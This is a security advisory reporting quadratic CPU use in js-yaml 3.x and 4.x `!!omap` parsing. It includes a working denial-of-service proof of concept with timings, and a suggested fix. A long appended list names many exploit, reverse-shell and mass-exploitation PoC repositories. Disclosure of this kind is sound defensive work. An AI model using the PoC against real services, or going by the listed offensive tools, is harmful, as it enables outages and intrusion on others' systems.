# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required. **This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation. ## Affected versions | Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) | Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue. ## Details `lib/type/omap.js` (js-yaml 4.3.0): ```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ``` `objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration. The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`): ```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ``` ## Proof of concept ```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n'; for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ``` ### Measured (node v20.20.2, default heap, no flags) **js-yaml 4.3.0** ``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ``` **js-yaml 3.15.0** ``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ``` Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×). Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**. ## Impact Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request. Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required. ## Suggested fix Mirror the 5.x fix — replace the linear scan with a `Set`: ```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ``` This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option. ## References - CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema ## Discovery Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-79483-FastGPT-NoSQL-Injection
FastGPT Community Edition NoSQL Injection PoC (CVE-2026-79483)
PoC: givewp-cve-2026-82222-rce-lab
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
PoC: CVE-2026-19745
Learn how I found my first two CVEs by pure accident.
PoC: cve-2026-23989-opencloud-lab
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-72898
Metabase SQLi
PoC: CVE-2026-19478
GitLab Code injection
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
PoC: CVE-2026-12513
CVE-2026-12513 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).
PoC: ghostlock-oppo-watch3pro
CVE-2026-43499 on OPPO Watch 3 Pro
PoC: cve-2026-82222-poc
Public PoC for CVE-2026-82222
PoC: zk-xml-probe
Static XML fixtures for authorized bug bounty testing of XML parser behaviour (CVE-2026-45071).
PoC: SOC335-CVE-2024-49138-Investigation
SOC investigation of a CVE-2024-49138 exploitation alert using log analysis, threat intelligence, and endpoint containment.
PoC: papercut-toolkit
#PaperCut CVE-2026-81578 + CVE-2026-82078 Defense Toolkit 2 3 A **defensive** toolkit to check and understand exposure to the chained
PoC: PaperCut-CVE-2026-81578-82078
Security research tool for PaperCut CVE-2026-81578 & CVE-2026-82078
PoC: vankyo-s30-bootloader-unlock
Vankyo MatrixPad S30 (Unisoc SC9863A) — Bootloader unlock via CVE-2022-38694 FDL1 method
PoC: CVE-2026-21962-Blog
CVE-2026-21962 Açığı için blog sayfası oluşturdum.
PoC: hdwebmobile-formula-pricing
WooCommerce plugin: safe formula-based product pricing, closing CVE-2026-4001's eval()-based RCE
PoC: CVE-2026-82286-gpt-crawler-Arbitrary-File-Write
CVE-2026-82286 — gpt-crawler <=1.5.1 unauthenticated arbitrary file write via outputFileName (POST /crawl). PoC + self-contained Docker lab. CVSS 8.6, CWE-22.
PoC: CVE-2026-24061-payload
A PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: Project-CVE-2026-65351
For educational purposes
PoC: rmg-s9180-fzg1
Root My Galaxy SM-S9180 (dm3q) S9180ZHS8FZG1 payload port - CVE-2026-43499 + KernelSU LKM
PoC: hacktivity-vulns-exploits-lab
Writeup + CVE analysis + countermeasures for the Hacktivity 'Vulnerabilities, Exploits, and Remote Access Payloads' lab (netcat shells, Metasploit, CVE-2010-1240, CVE-2004-2687).
PoC: CVE-2026-55040-Mass-Exploit
CVE-2026-55040
PoC: Project-CVE-2026-75604
A Python-based exploitation framework for CVE-2026-75604 that enables authorized penetration testers to validate Next.js Windows cache traversal vulnerabilities. Deploys reverse shells and webshells via path traversal, with built-in target verification and proxy support for seamless integration into standard pentest workflows.
PoC: CVE-2026-18963
CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector
PoC: CVE-2015-3246
CVE-2015-3246
PoC: CVE-2015-5287
CVE-2015-5287
PoC: htb-labs-nexus
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
PoC: Cisco-CVE-2026-20303-More
CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313
PoC: CVE-Ubiquiti
CVE-2026-77542, CVE-2026-77543, CVE-2026-77545, CVE-2026-77550, CVE-2026-77551, CVE-2026-77552, CVE-2026-77553, CVE-2026-77554, CVE-2026-77557 - Draft or TODO
PoC: CVE-2026-18431
CVE-2026-18431 - Draft or TODO
PoC: CVE-2026-8467
CVE-2026-8467 - Draft or TODO
PoC: CVE-2026-50787
Security advisory for CVE-2026-50787: uncontrolled resource consumption in e-SIC Livre CAPTCHA generation leading to remote denial of service.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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